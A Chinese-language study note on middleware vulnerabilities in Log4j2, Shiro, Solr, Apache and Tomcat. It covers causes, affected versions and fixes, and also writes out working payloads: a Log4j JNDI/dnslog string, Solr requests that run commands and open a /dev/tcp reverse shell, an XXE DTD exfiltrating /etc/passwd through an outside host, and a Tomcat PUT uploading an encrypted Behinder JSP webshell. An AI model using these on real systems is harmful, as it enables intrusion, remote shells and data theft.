中间件与组件漏洞

中间件，通俗来说就是位于操作系统（底层）与业务应用（表层）之间的“软件胶水”或“转换器”。它屏蔽了底层技术的复杂性，让开发者能专注于业务逻辑。

• 解耦：它好比“邮局”，负责收发、路由和转换不同系统间的“信件”，让A系统发消息时无需关心B系统是否在线。
• 复用：它提供通用能力（如：鉴权、日志、限流），避免每个项目都重复“造轮子”。
• 支撑：它本身不产生业务数据，但是负责让海量数据在不同服务间高效、可靠地流转。

根据应用场景，常见的中间件：

• 消息中间件；专治高并发下的系统堵车，削峰填谷。代表：RocketMQ、Kafka、RabbitMQ。
• 远程调用（RPC）中间件：解决微服务间跨网络通信。代表：Dubbo、gRPC。
• 数据访问/缓存中间件：通过高速缓存抗住数据库读压力。代表：Redis、Memcached。
• Web服务器/网关：负责请求路由、负载均衡和安全防护。代表：Nginx、Tomcat、Spring Cloud Gateway、IIS、Apache。

一、Apache

1.1 RCE远程代码执行漏洞

1.1.1 log4j2远程代码执行漏洞（2021年12月）

1.1.1.1 原理

• 这个漏洞触发条件为只要外部用户输入的数据会被日志记录，即可造成远程代码执行。
• Log4j2反序列化漏洞主要是由JNDI注入造成的，它的JNDI注入漏洞主要存在于JndiLookup.class和JndiManager.class这两个类中。其中JndiManager.class定义了如：lookup()这种处理JNDI相关操作的方法，lookup()接受用户提供的JNDI URL 作为了输入参数并返回处理结果。攻击者就可以构造恶意的JNDI URL，将JNDI引用和待执行的远程代码等信息拼合起来，在log4j解析恶意URL是就会触发任意代码执行
• • JNDI 是 Java Naming and Directory Interface（JAVA命名和目录接口）的英文缩写，它是为JAVA应用程序提供命名和目录访问服务的API（Application Programing Interface）,应用程序变成接口。
  • RMI（Remote Mrthod Invocation） 远程方法调用，是JAVA中一种基于对象的分布式程序设计模型。通过RMI机制，可以让客户端应用程序像调用本地方法一样直接调用另外一个JVM上运行的远程对象中公开的方法，而无需了解网络编程、机器地址和具体传输协议的细节，从而使得分布式应用程序的开发变得更加容易。
  • JNDI URL 是一种特殊的URL格式，它通常用于访问JNDI数据库或其他外部资源。在log4j2漏洞中，攻击者利用恶意JNDI URL，将自己构造的可控对象绑定到了JNDI目录项，从而导致反序列化漏洞。
  • • java.comp/env/jdbc/MyDataSource
    • • java：表示Java命名和目录接口（Java Naming and Directory Interface,JNDI）
      • comp/env：表示要查找JNDI上下文的根路径，Context环境
      • jdbc：表示目标资源类型是JDBC数据源
      • MyDataSource：表示JNDI名称，即目标资源在JNDI中的名称。

1.1.1.2 漏洞验证

VulHub：找到靶场的注入点，我们可以发现/solr/admin/cores?这里有个参数可以传参。

构造Payload：

cores?action=${jndi:idap://${sys.java.version}.i913n8.deye.io}

• 对action参数传参，其中sys.java.version查看目标java版本，
• deye.io dnslog地址。是一个检测外带数据的平台

存在JNDI注入那么ldap服务端会执行我们传上去的payload然后再dnslog留下记录，我们可以看到留下了访问记录并且前面的参数被执行，后面给我们回显了java的版本号。

1.1.1.3 修复方法

• 及时升级
• • 防范log4j2反序列化漏洞最简单的方法就是及时更新到不受影响的版本
• 紧急缓解措施
• • 移除JndiLookup插件；禁用JndiLookup插件可以有效防御反序列化漏洞。
  • 移除JMS支持，如果应用程序不需要JSM支持，则可以将相关组件删除或停用，避免漏洞利用。具体的可以将log4j-jms-appender-2.x.x.jar从应用程序删除或停用JMS相关代码。

1.1.2 Shiro-721 高危代码执行漏洞（2021）

1.1.2.1 原理

该漏洞是由于Apache Shiro cookie中通过AES-128-CBC模式加密的rememberMe字段存在问题，用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段，并重新请求网站，进行反序列化攻击，最终导致任意代码执行。

1.1.2.2 漏洞影响

1.2.5<=shiro<=1.4.2

1.1.2.3 漏洞指纹

• set-cookie：rememberMe=deleteMe
• URL中有shiro字样

1.1.2.4 利用技巧

• 该漏洞需要登录后获取代合法的Cookie
• rememberMe=XXX后才可以进行利用，看起来不是很好利用，但实际上有一些网站是开放注册的，而且这个洞不需要知道服务端密钥，所以后续的利用还是可以同Shiro-550一样利用，而且这里是AES加密的，自带WAF属性。
• 如果公户没有生效，可以试一下删除Cookie中的JESSIONID字段，很多时候这个字段存在的话，服务端不会去处理rememberMe。

1.1.2.5 如何防范

• 升级Shiro版本
• 修改文件中硬编码的密钥
• 临时防范建议
• • 在安全设备中设置尝试拦截爆破流量，及时阻止攻击者进行尝试性攻击。
  • 升级对应JDK版本到8u191/7u201/6u211/11.0.1以上
  • WAF拦截Cookie中过长的rememberMe值
  • WAF拦截访问过于频繁的IP，因为该漏洞需要爆破Cookie

1.1.3 solr 远程代码执行漏洞

1.1.3.1 远程命令执行RCE

1.1.3.1.1 简介

Solr是一个高性能，采用Java5开发，基于Lucene的全文搜索服务器。Solr是一个独立的企业级搜索应用服务器，很多企业运用solr开源服务。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。它的主要特性包括：高效、灵活的缓存功能，垂直搜索功能，高亮显示搜索结果，通过索引复制来提高可用性，提 供一套强大Data Schema来定义字段，类型和设置文本分析，提供基于Web的管理界面等。

1.1.3.1.2 漏洞详情

CVE-2017-12629 在Apache Solr 7.1之前的版本和Apache Lucene 7.1之前的版本中，通过利用XXE并使用Config API add listener命令来访问RunExecutableListener类，可以执行远程代码。Elasticsearch虽然使用Lucene，但不易受此影响。 请注意，XML查询解析器中存在XML外部实体扩展漏洞，默认情况下，该漏洞可用于参数为deftype=xmlparser的任何查询请求，可利用该漏洞将恶意数据上载到/upload请求处理程序，或作为盲XXE使用ftp包装器从Solr服务器读取任意本地文件。 另请注意，第二个漏洞与使用在所有受影响的Solr版本上可用的RunExecutableListener执行远程代码有关。

1.1.3.1.3 影响版本

Apache solr<7.1.0版本

1.1.3.1.4 漏洞利用

• 命令执行
• • 新建一个 listener ,将 "exe" "dir" "args" 内容可以通过 http 的方式传入

POST /solr/demo/config HTTP/1.1
Host: ip:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 169

{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/test "]}}

• • 更新一下操作，修改post包，触发前面的命令

POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15

[{"id":"test"}]

• 反弹shell（同上，只是传入的命令换了）

POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15

[{"id":"test"}]

POST /solr/demo/config HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 158

{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c","bash-i>&/dev/tcp/ip/port0>&1"]}} 

1.1.3.1.5 修复方案

• 升级更高版本
• 添加Solr访问控制，包括禁止本地直接未授权访问
• 修改相关java文件

1.1.3.2 远程命令执行XXE（CVE-2017-12629）

1.1.3.2.1 漏洞详情

在Apache Solr 7.1之前的版本和Apache Lucene 7.1之前的版本中，通过利用XXE并使用Config API add listener命令来访问RunExecutableListener类，可以执行远程代码。Elasticsearch虽然使用Lucene，但不易受此影响。 请注意，XML查询解析器中存在XML外部实体扩展漏洞，默认情况下，该漏洞可用于参数为deftype=xmlparser的任何查询请求，可利用该漏洞将恶意数据上载到/upload请求处理程序，或作为盲XXE使用ftp包装器从Solr服务器读取任意本地文件。 另请注意，第二个漏洞与使用在所有受影响的Solr版本上可用的RunExecutableListener执行远程代码有关。

1.1.3.2.2 影响版本

Apache solr<7.1.0版本

1.1.3.2.3 漏洞利用

• 在另一台服务器web站点下创建一个.dtd文件

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

• 构造payload后将特殊符号进行url加密

<?xml version="1.0" ?>
<!DOCTYPE root[
<!ENTITY % ext SYSTEM "http://x.x.x.x/x.dtd">%ext;%ent;
]>
<r>&data;</r>
&wt=xml&defType=xmlparser

• 最终payload

%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root[%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f192.168.x.x%2ftest.dtd%22%3E%25ext%3b%25ent%3b]%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser

1.1.3.2.4 修复方案

• 升级更高版本
• 添加Solr访问控制，包括禁止本地直接未授权访问
• 修改相关java文件

1.1.3.3 未授权上传（CVE-2020-13957）

1.1.3.3.1 漏洞详情

在特定的Solr版本中ConfigSet API存在未授权上传漏洞，攻击者利用漏洞可实现远程代码执行。 整个利用链流程： 上传configset——基于configset再次上传configset（跳过身份检测）——利用新configset创造collection——利用solrVelocity模板进行RCE

1.1.3.3.2 影响版本

• Apache Solr 6.6.0 -6.6.5
• Apache Solr 7.0.0 -7.7.3
• Apache Solr 8.0.0 -8.6.2

1.1.3.2.3 修复方案

升级Apache Solr 8.6.2版本以上

1.2 反序列化漏洞

1.2.1 Shiro-550 存在java反序列化 （2020）

1.2.1.1 攻击特征

在返回包的 Set-Cookie中存在 rememberMe = deleteMe 字段

1.2.1.2 影响范围

Apache Shiro <= 1.2.4 版本都存在威胁

1.2.1.3 漏洞原理

• 漏洞利用的是cookie里的 rememberMe 参数，这个参数的值是AES加密再base64之后设置在cookie中的。在服务端对rememberMe的cookie值的操作应该是先base64解码，然后AES解密，再反序列化，
• `问题的关键在于`，AES加密的密钥就在源代码里边，AES是对称加密，所以加密密钥就是解密密钥。攻击者只要得到AES加密的密钥，就可以构造一个恶意对象，对其进行序列化、AES加密、Base64编码，然后将其作为cookie的 RememberMe 字段发送，Shiro 将 其进行解密并反序列化，最终造成反序列化漏洞

1.2.1.4 防范方法

• 升级shiro版本
• 修改文件中硬编码的密钥
• 临时防范建议：
• • a.在安全设备尝试拦截爆破流量，及时阻止攻击者进行尝试性攻击
  • b.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上
  • c.WAF拦截Cookie中长度过大的rememberMe值
  • d.WAF拦截访问过于频繁的IP, 因为该漏洞需要爆破Cookie

1.3 解析漏洞

1.3.1 漏洞成因

• Apache默认一个文件可以有多个以点分隔的后缀，当右边的后缀无法识别（不在mime.tyoes内），则继续向左识别

1.3.2 漏洞利用

• 可用与文件上传绕过，如 test.php.asd.dfs

1.3.3 漏洞修复

• 将AddHandler application/x-httpd-php.php 的配置文件删除

1.4 目录遍历

1.4.1 漏洞成因

• 由于配置错误导致的目录遍历

1.4.1 利用方法

• 和文件下载一样的，在存在漏洞的参数那里用 ../../ 即可

1.4.1 漏洞修复

• 修改 apache 配置文件 httpd.conf 找到下面的内容，将Options后面的 + 改成 - 就行了 `Options+Indexes+FollowSymlinks+ExecCGI` 修改成 `Options-Indexes+FollowSymlinks+ExecCGI` 并保存

二、Tomcat

2.1 Tomcat简介

Tomcat是由Apache软件基金会下属的Jakarta项目开发的一个Servlet容器，按照Sun Microsystems提供的技术规范，实现了对Servlet和JavaServer Page（JSP）的支持，并提供了作为Web服务器的一些特有功能，如Tomcat管理和控制平台、安全域管理和Tomcat阀等。由于Tomcat本身也内含了一个HTTP服务器，它也可以被视作一个单独的Web服务器。

重要文件：

• server.xml：配置tomcat启动的端口号、host主机、Context等
• web.xml文件：部署描述文件，这个web.xml中描述了一些默认的servlet。
• tomcat-users.xml：tomcat的用户密码与权限。

2.2 任意写文件漏洞

2.2.1 漏洞详情

• 漏洞的本质是 Tomcat 配置了可写 (readonly=false)，导致攻击者可以往服务器写文件
• 虽然 Tomcat 对文件后缀有一定的检测(不能直接写jsp)，但是攻击者可以利用一些文件系统的特性(如 Linux 下可用"/") 来绕过限制

2.2.2 影响版本

• Tomcat 7.0.0 - 7.0.79

2.2.3 漏洞利用

• 访问网站利用 burp 进行抓包，修改为后面的 payload

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
 
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends 
ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return 
super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String 
k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码
rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new 
SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new 
sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equal
s(pageContext);}%>

• 利用 Repeater 模块进行发送
• 直接访问jsp木马所在的网站路径，查看是否上传成功
• • http://ip:port/1.jsp
• 使用冰蝎连接即可

2.3 AJP 文件包含漏洞（CVE-2020-1938）

2.3.1 漏洞详情

• 由于 Tomcat AJP 协议设计上存在缺陷，攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件，例如可以读取 webapp 配置文件或源代码。 此外在目标应用有文件上传功能的情况下，配合文件包含的利用还可以达到远程代码执行的危害

2.3.2 影响版本

• Apache Tomcat 9.x < 9.0.31
• Apache Tomcat 8.x < 8.5.51
• Apache Tomcat 7.x < 7.0.100
• Apache Tomcat 6.x

2.2.3 漏洞利用

• 利用脚本读取目标网站 web.xml 的源代码
• 运行命令 python tomcat.py read_file --wabapp=manager /WEB-INF/web.xml 192.168.31.128